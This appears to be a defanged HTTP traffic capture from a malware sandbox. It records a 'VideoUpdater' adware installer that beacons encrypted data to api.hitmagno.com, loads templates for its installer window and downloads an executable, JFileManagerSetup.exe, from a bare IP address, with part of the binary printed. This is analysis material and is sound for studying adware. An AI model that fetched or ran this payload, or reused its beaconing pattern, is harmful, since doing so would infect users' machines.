User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/css
Date: Thu, 25 Feb 2016 23:57:22 GMT
ETag: "54f6e242-4a5a"
Last-Modified: Wed, 04 Mar 2015 10:45:22 GMT
Server: nginx
Content-Length: 19034
Connection: keep-alive
/* Template Template Videoupdater */...article,aside,details,figcaption,figure,.footer,header,hgroup,menu,nav,section {..display:block;.}.p, h5, h4, h3, h2, h1, span, ul, li, form, input, textarea {..margin:0;..padding:0;.}.body {..margin:0 auto;..background-color:#323333;..width: 555px;..height: 458px;..color:#b5b5b5;..font-family:Arial, Helvetica, sans-serif;..scrollbar-face-color: #666666;..scrollbar-highlight-color: #999999;..scrollbar-3dlight-color: #333333;..scrollbar-shadow-color: #333333;..scrollbar-darkshadow-color: #333333;..scrollbar-arrow-color: #CCCCCC;..scrollbar-track-color: #333333;.}...videupdater a, .videupdater span {..color:#b5b5b5;.}...clear {..clear:both;..height:0px;..overflow:inherit;..display: none;.}..li {..list-style: none;.}./*********************//*********************//*********************//*********************//********./* estilo para poner los botones del box.html todos en display none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {../*display:none;*/.}./**************************************************/..container {..float:left;..width:555px;..height: 458px;..background-color:#323333;..margin: 0 auto;.}../*****************Template Win_Link*****************/......minimize {..float: right;..width: 45px;..position: relative;..margin-right: -45px;..right: 45px;..margin-top: 12px;..z-index: 9999;.}....minimize ul li {..display: inline;..float: left;.}...minimize li {....float: left;..} ....minimize .button-min {..color: #636363;..text-decoration: none;..border: none;..font-size: 17
<<< skipped >>>
GET /BesH3gE9/pop-up/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Language: en
Content-Type: text/html
Date: Thu, 25 Feb 2016 23:57:24 GMT
Server: nginx
Set-Cookie: lpsl_BesH3gE9=dec84c5646282681e80af17b8e3d6244 1456531044; Path=/; Expires=Fri, 26-Feb-16 23:57:24 GMT;Domain=VVV.hitmagno.com
Vary: Accept-Language
Content-Length: 1075
Connection: keep-alive
...........V.o.6.._..!.IN&......"K:l@....uH3...H.$.$e. ..w.d..]l f.0}.{.;.{...\.z5......,E.>.... .mB~.^.r=.F.....E..FSAs....4%../..X.bD.j.rV]..{2..<j,W.7K[.D:.......>fi..#0.p8.. _F..a ._.<...PH...c...Y.%...I.....`.."`.,$I..a.q..O<R{N...&.........z....D].7...X..E..De.>.N.3........{...\.??....C:.v?.t{..E....p`.n......i4..A...!.h.*.....)..$K#.E.......20..../.(caB..,>.L.m.q..dI~../c..AUa..e........=..`....*h^.Q.S!!......F......bR.6.o7Cs.B.. ..;!.........XR....D>.R.P=.N!...O}.......Y.".2Y2.....d..-..q...%.znH.Rp.kB..)...U.0U....o.....U......Z.(.<.Z.0a..D$..NB...4....8 %.[.........n.D.....)>...<hk5.&>.].'......,...w4 ...f.....Y9.s.Dg.\DS..uS.:....d.p......AG.. ..s.>...k...0.<;p.!.......L.S..o.L.u$.\..l..g2...V.....pT....f.J..`.k......<....f.Q..l...m....,.E....F....x....I |M...!..n.c.N.... ....=.".3.........x0h..,.....A../.a...N..G.^........,.![....&2.......<.....i.sYm.....Z-.pl|.4..^..RA~..4....il..W=./.....in..P.........f.............$2......n..Rx>......-.[..7....y.u.j}.kG t..S^@.^Y&.....ZG...C.....S....... ...L...x....C.L..g....x......za..<\W.-..z{!......T..A|.......
GET /lpresources/js/linkv2.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hitmagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.hitmagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=dec84c5646282681e80af17b8e3d6244 1456531044
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Thu, 25 Feb 2016 23:57:25 GMT
ETag: "180b8d-d84-4feef24b01140"
Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 1358
Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|srf.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S..9......5.)..R..xQ.1Vb.......V.A........>:J..@yY.w)..:.[....w4.....Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0.."...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?...?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI...\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2..w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T...)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X....f..=..U8......vLc. f...h@..A' E..A3.....t......-.yhZ)..6.`....o%.........'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_.....K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b.....&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7..}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>
GET /lpresources/js/ainj.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hitmagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.hitmagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=dec84c5646282681e80af17b8e3d6244 1456531044
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Thu, 25 Feb 2016 23:57:25 GMT
ETag: "185921-0-4f9c38966d780"
Last-Modified: Mon, 19 May 2014 16:48:46 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 20
Connection: keep-alive
........................
GET /lpresources/js/dlStoragev1.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hitmagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.hitmagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=dec84c5646282681e80af17b8e3d6244 1456531044
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Content-Type: application/javascript
Date: Thu, 25 Feb 2016 23:57:25 GMT
ETag: "280057-1a57-50572ea11d0c0"
Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 2010
Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p.......\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}....2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&....".......mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.............%....H<...m..O.~.&...-...f...V..@.iV@....[.. .fZ8Ie...Z..%Zdy...s..@.T..B.2.~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.).Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.)...~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`.@....f...ix........h*!-.l9L...1...@L...6{h./.HpF.).T......i.......3u.'...fK..j.OY.;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}..............IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #..........Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_Cl7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)......p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>
GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hitmagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.hitmagno.com
Connection: Keep-Alive
Cookie: lpsl_BesH3gE9=dec84c5646282681e80af17b8e3d6244 1456531044
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/javascript
Date: Thu, 25 Feb 2016 23:57:25 GMT
ETag: "53a84f60-1762a"
Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT
Server: nginx
Content-Length: 95786
Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h ),"object"==typeof g||m.
<<< skipped >>>
GET / HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 25 Feb 2016 23:57:13 GMT
ETag: "5452135c-38"
Last-Modified: Thu, 30 Oct 2014 10:30:52 GMT
Server: nginx
Content-Length: 56
Connection: keep-alive
<html><head><title>ok</title></head><body></body></html>HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/html..Date: Thu, 25 Feb 2016 23:57:13 GMT..ETag: "5452135c-38"..Last-Modified: Thu, 30 Oct 2014 10:30:52 GMT..Server: nginx..Content-Length: 56..Connection: keep-alive..<html><head><title>ok</title></head><body></body></html>....
GET /df465f89085608a9cb8ef83282e2d01d395a6586e6f73b0ecf16c3ea44735245b7856f7a0541ca606390aeb7b661bd08c24c4b68ff9f37b13080f9711e0922cb8a98695b53fdef7b7242d8f26d798e5a144284b316248df8c4c2fc05123732702ad0a9652f574764 HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/html
Date: Thu, 25 Feb 2016 23:57:19 GMT
Server: nginx
transfer-encoding: chunked
Connection: keep-alive
224c..c338a61e5ec13f3a36d98bb7f655bfed3af9079b10f728b74cb17092900158645ecdc6380696686b69986637299ef809d82274d3658539fa1401e715c67421effdc71c8ea10526a40573accdcc271a6e0aac378767a4667e7dec6045508de34e270a4ab963595c0c2271b71f4f2cbca201d36dc1d1afcf36554c170c81625c2cf86ee4c5b69906954c963f5a776a06f00fe32e983bdc516eb87e0671ba92201700b3c49ced511b010de27088d493c5abac41512a24034e70a2f2e92c80a8e204ad40be5bbccfad0efcfa3527ac830b84722a92ea3239c4048fd7576fd86d2605c1b48da43cd73a8b9a65bdf4007bbc200004c1e4a5c121f7aad261aed998345ea6feb8311d0910c9a2af1bd1db4302eec0e12687cc0fa8d2d24e355665f08ea304122847257b05727ce9cde7562a45d4ac2cf5d8edf01a7a849111ecde0df03d5ccc124b8a41118253ce358d1d1dc842aa29ce00507aefae7068be69f9fbb49d1196aa381d1ebde2eb7eba2600a021062f503cdbbfebf48c951814051795e619ca4e30b6c660fbd8e0106aa62bf20c0315ce3dc07f8889fdfdd9c332603e307dc405c6307a9332dda3325dbbe16b54a95e45240f1c1c4d1bf7d607f3b9613f2f3e013b3690d5c99705840378daecd61c9e228153754f7e6bb57bfeaedd3b02c641b0da948e5654b6f13f78642a15a26328b05789306f65fd1a69771c61f64ae5a5fc45343b9ef83a28f949a6967521ac8279fca5bf0dc307ba408646bacb49f586b2c71d441acfb3127407f09b5e4a525055e3a5440d02cf0a99462c60b16cc35cfc4a73388b78f646a803b6bfb4ea082fa3bb4882cdfff741cec9afde22e948a7a18f6a36e7b7e4964698a809f02f445f809e5843ea6cb3f90c0d085266f4bacf0734dfdbcbc6f5729f1392f6f136f9a9cd42efbcb88e736c973e33e0800cd919ef64316898a8805f53910d08db7dd14f1e7be7f7ca91f7f37fa756635b2f3b5aa8519938ecbe3621ee1e6ed1a89b2f49127fb21c4649410bfed6eb5d1c48cff9a09532e84227c47463df7685bf9104d1389c612f03b570932f405854
<<< skipped >>>
POST /488a72a825fe0548cc502e084b28da856326b7f6177061b429e806367189c4cb91437f659641ba492e9c3eb844354c2e9a15edc48c0d7fc9 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 1 R:-842150450
Host: api.hitmagno.com
Content-Length: 2726
Cache-Control: no-cache
cdata=86394263D6DED7AD3ED013DFEF7E64F6810202E9866DC605C250CECCD7CB22F9686417E27FE9F67D358BFE17ACB1D241180ECC39589A1933488922E01AA18B5990C77361D300FD3F93ED09E2CB744C97B804FC5436AE22A9F5722F00091BD76000B9B8EAF5890BC34CC270795D90185A0E59CBC1D6A7E94CECB6C8B8591A04A05F8F9660395B0639CAD53D12F593F7EF0DB72B06712819EBE2C248403EA284E546E859FDBAB841D8E04E5E5732A046278BFB5B7A71B883CC9EA6B48A7B077B32644B3EA325F4623D0D948DD67DDFAAC03A2BD84EB8698B5006736E06FB5BC53DC7ADAE826F877F7BF46BADF799E6DA2C1AF17472F3264DBE4B4D3F2BA393B7E13A24D7EE5CF2049289CD9F27F0D32B22C6FC3650EC1E010EB37693F99C9C2CF0E7CF88AF6A640278C0670F7512C7020A84D72416415443D54B9E8FDF5015EB6F8141783DA2F840DE78F736BA1E07351B79D6D811497D854BBCF79AA01F51596B01DF524C313DF507A76C6A6C754CF51620C7360C356B692CD7FDC5587D54EA81CE862C9A081303B4CD873A0723197108DFB3686220DCB73D11C733B3E2B1CB446822B88A0D2CE33B1F56548A4B589C1BA1CA7B208E30A0523BDDA44360A953177FC1055B41261C735FF253E198F0FD7C68372F4204E3BFC5E20603A1FD90C01C9A95DD3C42A074D2F93D9193CE868DE23FEE790AFB048718B60D434D0F52701441763AD9957E7A8352D6C040215DFA9A62EB3FB8C9F9195882E5737F41692C81E85D74E514ACD4F7B71EF1C284EFCFC182E8147F8032449930688589C7377F7DF949AA6475538771209804C3AAF6F5A45E973E
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Thu, 25 Feb 2016 23:57:22 GMT
Server: nginx
Content-Length: 7
Connection: keep-alive
MAXTHX.....
GET /__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Feb 2016 23:57:22 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 2403
Connection: keep-alive
..<!--Template VideoUpdater-->..<div class="container">.<div class="videupdater">. <div class="minimize">. <ul>. <li><span id="_Bminimize" onclick="minimizeWindow();" class="button-min">-</span></li>. <li><span id="_Bexit" onclick="onExit()" class="button-min">x</span></li>. </ul>.</div>..<div id="_frameContainer" class="content">.. ..</div>...<!-- buttons -->.<div class="buttons">.. <!--botones derecha -->. . <input id="_Bnext" class="_Bnext grey right" buttonText="Next" tabindex="0" type="submit" value="Next »" onclick='onAccept();'>. .. <!--botones izquierda -->.. . <input id="_Bomit" class="_Bomit normal-close leftnowidth" tabindex="3" type="submit" name="nombre" value="Skip All" onclick='onOmit();'>. . . <input id="_Bdecline" class="_Bdecline normal-close leftnowidth" tabindex="1" type="submit" name="nombre" value="Decline" onclick='onDecline();'>. .. <div class="clear"></div>.</div>.. ..<div class="contact">. <div class="contact-in" style="height: 20px;">.. <ul>. <li><a target='_blank' class="first _TitPrivacy">Privacy Policy</a></li>. <li><a target='_blank' class="_TitSetup">Setup info</a></li>. <li><a target='_blank' class="_TitFree">Why is this free?</a></li>. <li><a target='_blank' class="_Ti
<<< skipped >>>
GET /__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Feb 2016 23:57:23 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 961
Connection: keep-alive
..<!--Intall Videoupdater-->..<div class="install">.. <h1>Installation Progress</h1>. . <p>This Download Manager will minimize to your system tray shortly to allow you to work on other items while your selections install. To restore this window, simply click on the icon in your system tray.</p>. . <div class="install-loading">. </div>. <div class="progress-bar">. <div class="_TotalProgressLevel progress-level" ></div> . </div>....<div class="clear" style="height:10px; display:block;"></div>. <div class="_ProgressInstallingText" style="display:none; text-align: center; margin-left: 45px; width: 422px;"><p>Installing ...</p></div>. . <div class="_ProgressText" style="display:none; margin-left: 33px;">. <p>Process: <span class="_ProgressTextDownloaded"></span> of <span class="_ProgressTextTotal"></span> (<span class="_ProgressTextPercentage"></span> %)</p>. </div>.. . .</div>.....
GET /8c/JFileManagerSetup.exe HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: 69.4.238.159
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 25 Feb 2016 23:57:24 GMT
Content-Type: application/octet-stream
Content-Length: 2229214
Last-Modified: Thu, 15 Jan 2015 17:44:17 GMT
Connection: keep-alive
ETag: "54b7fc71-2203de"
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......................................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc................v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>
HEAD /8c/JFileManagerSetup.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: 69.4.238.159
Content-Length: 0
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 25 Feb 2016 23:57:23 GMT
Content-Type: application/octet-stream
Content-Length: 2229214
Last-Modified: Thu, 15 Jan 2015 17:44:17 GMT
Connection: keep-alive
ETag: "54b7fc71-2203de"
Accept-Ranges: bytes
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Date: Thu, 25 Feb 2016 23:57:23 GMT
ETag: "54f07a08-570"
Last-Modified: Fri, 27 Feb 2015 14:07:04 GMT
Server: nginx
Content-Length: 1392
Connection: keep-alive
.PNG........IHDR...|.........L.......tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:15582AE06BF411E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:15582AE16BF411E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED896BEF11E4901AB7B77D879212" stRef:documentID="xmp.did:24FEED8A6BEF11E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>B.......IDATx...=..@.Ea~:52u.....,.g...e..<..l..F...|.E.....G....n..g......V..v.^.C..?... .........k..Bc.Y.V....._....E.(...T.eR...`yn..i.{t...-{tB..{\5......y..s..4kyn<=\5.KV:......u..l..QK.)z.n.........c......\....N.=EG..w..^.Xh......~....w...>..S.dy.H.$5.@.^o..........t...5.N|...>....3..H.....(.3..`Ft..........y..~8^...1OC..x....it&W@it..."..=^MV..WA.$.....W...D6.....v.y.......Pis..2.W:..^..........-.lx>P......3$CR...}.<..5*......f,vl]c.i...k...xN.|>o6......P......z..p8..cv.....o.....&..m.c....IEND.B`.....
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Thu, 25 Feb 2016 23:57:24 GMT
ETag: "54f07a03-1ef8"
Last-Modified: Fri, 27 Feb 2015 14:06:59 GMT
Server: nginx
Content-Length: 7928
Connection: keep-alive
GIF89a..........DCD...:::.........qqq............555...zzziii}}}...............aaaQQQeee...%%%.........VVV...lll...............,,,...YYY...)))...uuuJJJNNN!"!...]]]...101.................................\[\.........#$#KLK.../0/KKK[\[`_`...GGG'''...???............///......ccc...sssddd```...###.........SSS...777...VVV...888...xxx...............{|{{{{ghg............kmk444XXX......OOOWWW...222...333!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C7B15D6E6C0511E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:C7B15D6F6C0511E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C7B15D6C6C0511E4901AB7B77D879212" stRef:documentID="xmp.did:C7B15D6D6C0511E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>
POST /c7ef6bc7b0c7f2be110af182bd6dcfbede7020d7c437c2ab3bfb751ae36ed2ec9e1026431f961b72b9860faff5fe3f259a41482878cfad66 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 2 R:-842150449
Host: api.hitmagno.com
Content-Length: 3334
Cache-Control: no-cache
